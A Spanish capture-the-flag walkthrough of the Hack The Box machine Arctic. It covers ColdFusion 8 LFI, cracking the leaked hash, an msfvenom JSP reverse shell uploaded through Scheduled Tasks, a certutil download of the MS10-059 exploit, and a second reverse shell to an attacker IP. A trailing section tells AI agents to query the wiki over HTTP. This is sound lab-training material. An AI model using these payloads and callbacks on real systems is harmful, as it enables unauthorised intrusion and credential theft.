# Arctic

<figure><img src="/files/Ni7IKoIey1kWdBs1LWbn" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP&#x20;

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 10.10.10.11
```

<figure><img src="/files/1VlkHBJBu3Cur9cPCXWX" alt=""><figcaption></figcaption></figure>

Están abiertos los puertos 135, 8500 y 49154 TCP en la máquina objetivo. El siguiente paso es realizar un escaneo más profundo unicamente de los servicios abiertos.&#x20;

```
nmap -p135,8500,49154 -sVC -vv -Pn -n 10.10.10.11
```

<figure><img src="/files/kdimEv9fQG9znMFV1C2b" alt=""><figcaption></figcaption></figure>

Tres servicios abiertos:

* Puerto 135 -> Microsoft Windows RPC
* Puerto 8500 -> ?
* Puerto 49154 -> Microsoft Windows RPC

#### Enumeración web

Vemos que el puerto 8500 está abierto, pero NMAP no muestra que se está ejecutando, así que vamos a verlo en un navegador web.&#x20;

<figure><img src="/files/8Y22YRRqluI2pM7PkdYO" alt=""><figcaption></figcaption></figure>

Tenemos un directorio abierto ejecutándose en el puerto 8500. Vamos a probar también otros directorios que puedan existir, para ello, inspeccionamos los directorios anteriores.&#x20;

<figure><img src="/files/uPQTcsVVeV6a9ohSWFj6" alt=""><figcaption></figcaption></figure>

Después de inspeccionar todos los directorios, llegamos a un panel de administración de Adobe Coldfusion. Por un lado, vamos a analizar el código fuente y por otro, vamos a buscar exploits conocidos para ColdFusion 8.&#x20;

<figure><img src="/files/bm3NdbQahahHJcbABs1j" alt=""><figcaption></figcaption></figure>

Al ver el código fuente, podemos ver que hay un valor salt codificado que se agrega a la contraseña cuando se ingresa. Lo anotamos por si fuese interesante más adelante. Vamos a buscar exploits para esta versión.&#x20;

```
searchploit coldfusion
```

<figure><img src="/files/NHEOX4ngGVzl8ZprgwIo" alt=""><figcaption></figcaption></figure>

Para descargar el exploit.&#x20;

```
searchploit -m 14641.py
```

Abrimos el exploit.

<figure><img src="/files/CdDqeyXSiW3QBobpXCk9" alt=""><figcaption><p>Posible exploit LFI</p></figcaption></figure>

<figure><img src="/files/Tve7SMOKqKzvDy7TLmQE" alt=""><figcaption><p>Ejecutando el LFI en el navegador.</p></figcaption></figure>

Y encontramos lo que parece ser un contraseña cifrada.

Password: `2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`

Vamos a descifrarla con hash-identifier y john-the-ripper.

```
hash-identifier 
john -w='/home/kali/rockyou.txt'  --format=raw-sha1 hash_password 
```

<figure><img src="/files/7KsG8u54emKh04gA0LMC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/SdY9KLf1wPvNGbgRmwff" alt=""><figcaption></figcaption></figure>

Obtenemos la contraseña "happyday"

Vamos a acceder al panel de admnistrador como usuario Admin utilizando la password anterior.&#x20;

<figure><img src="/files/7K5ctncx1pglXwMad0vp" alt=""><figcaption></figcaption></figure>

El siguiente paso será buscar puntos vulnerables dentro de este panel de administrador.&#x20;

### Shell como usuario Tolis

Hay multitud de enlaces que debemos revisar. Después de realizar la inspección, él único enlace  que nos sirve es el servicio "Scheduled Tasks" en la sección "Debugging & Logging", que ofrece ColdFusion y nos permite cargar archivos.

<figure><img src="/files/4KCy6UmevcT7Q3pgTtY0" alt=""><figcaption></figcaption></figure>

Crearé un shell inverso con extensión`jsp`usando msfvenom para cargarlo en la máquina objetivo. ¿Por qué? ColdFusion está basado en Java y ejecuta archivos jsp.&#x20;

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.11 LPORT=8500 > securiters.jsp 
```

Esta shell creada la movemos al directorio /var/www/html/ para poder enviarla a la máquina objetivo mediante un servidor Web Apache.&#x20;

```
cp securiters.jsp /var/www/html/
```

Primero vamos a buscar la ruta del path /CFIDE. Será necesario para subir la subir al objetivo.&#x20;

<figure><img src="/files/mJnOG2PLRsmNvZHUPab2" alt=""><figcaption></figcaption></figure>

El siguiente paso, cargar la shell en el objetivo. Para ello, iniciamos un servidor web Apache.

```
service apache2 start
```

Ahora vamos a programar una tarea en ColdFusion para que acceda al archivo securiters.jsp en nuestro servidor y poder cargar la shell. Agregaremos la URL de nuestro servidor donde está alojado el archivo securiters.jsp y también  la ruta de destino para guardar el archivo en el objetivo, es decir, `C:\ColdFusion8\wwwroot\CFIDE\securiters.jsp`&#x20;

Una vez programada la tarea, procedemos a ejecutarla.&#x20;

<figure><img src="/files/bk6YRG9yJWZlO7TwK2gy" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/puqwJKIUiRjuW7SqjG7v" alt=""><figcaption></figcaption></figure>

Y volvemos al directorio /CFIDE, comprobando que se haya subido correctamente nuestra shell securiters.jsp.&#x20;

<figure><img src="/files/c5CQFrx4ORkWaG1s0jEH" alt=""><figcaption></figcaption></figure>

Establecemos un oyente en nuestra máquina atacante.&#x20;

```
nc -lvnp 8500
```

<figure><img src="/files/h1hstRlpzLZVXDPrBXle" alt=""><figcaption></figcaption></figure>

Y ya tendriamos shell como usuario tolis. Vamos a por la flag user.txt

<figure><img src="/files/UWr05XnJ09Ch9p1Ls6ug" alt=""><figcaption></figcaption></figure>

### Shell como usuario Administrator

Tenemos la siguiente información acerca de la máquina víctima.&#x20;

<figure><img src="/files/8Kk4UiLuLOl75vD2PEta" alt=""><figcaption></figcaption></figure>

Guardamos la información de systeminfo en un archivo txt, nos será útil en la siguiente fase.

Vamos a utilizar [Windows-Exploit-Suggester](https://github.com/Riqky/Windows-Exploit-Suggester) para buscar posibles vulnerabilidades en el sistema de la máquina víctima. Vamos a instalar este script en nuestra máquina atacante.&#x20;

```
git clone https://github.com/Riqky/Windows-Exploit-Suggester.git
cd Windows-Exploit-Suggester 
sudo pip install xlrd --upgrade
./windows-exploit-suggester.py --update
```

Y ahora, ejecutamos este script con la base de datos actualizada que se ha creado y el archivo systeminfo que comentabamos anteriormente.&#x20;

```
./windows-exploit-suggester.py --database 2022-11-03-mssb.xlsx --systeminfo '/home/kali/Desktop/HackTheBox/arctic/systeminfo.txt'
```

Una vez ejecutado el comando anterior, obtenemos las siguientes vulnerabilidades en la máquina víctima.&#x20;

<figure><img src="/files/T4XXE0OelrHLk1Y1AHuZ" alt=""><figcaption></figcaption></figure>

Vamos a utilizar la vulnerabilidad [MS10-059](https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS10-059/MS10-059.exe) para intentar obtener acceso como administrador a la máquina víctima. Descargamos el exploit y lo subimos a la máquina víctima haciendo uso de un servidor Python HTTP.&#x20;

```
python3 -m http.server 8080
certutil.exe -urlcache -f http://10.10.16.11:8080/MS10-059.exe c.exe (en la máquina víctima)
```

Ejecutamos el exploit en la máquina víctima, y al mismo tiempo colocamos un oyente en nuestra máquina.&#x20;

```
rlwrap nc -lnvp 8000
c.exe 10.10.16.11 8000 (en la máquina víctima, en el directorio donde se haya colocado el exploit)
```

<figure><img src="/files/xhwDu9EdYhktMpbupeWc" alt=""><figcaption></figcaption></figure>

Una vez ejecutado el exploit, tendriamos privilegios máximos en la máquina objetivo. El siguiente psao será buscar la flag root para finalizar este CTF.&#x20;

<figure><img src="/files/yNl0u5VDhSluoC8QnL7X" alt=""><figcaption><p>Flago root.txt</p></figcaption></figure>

Y ya estaría acabado este CTF.&#x20;

{% embed url="<https://www.youtube.com/watch?v=KP1xCME4o74>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/hack-the-box/arctic.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
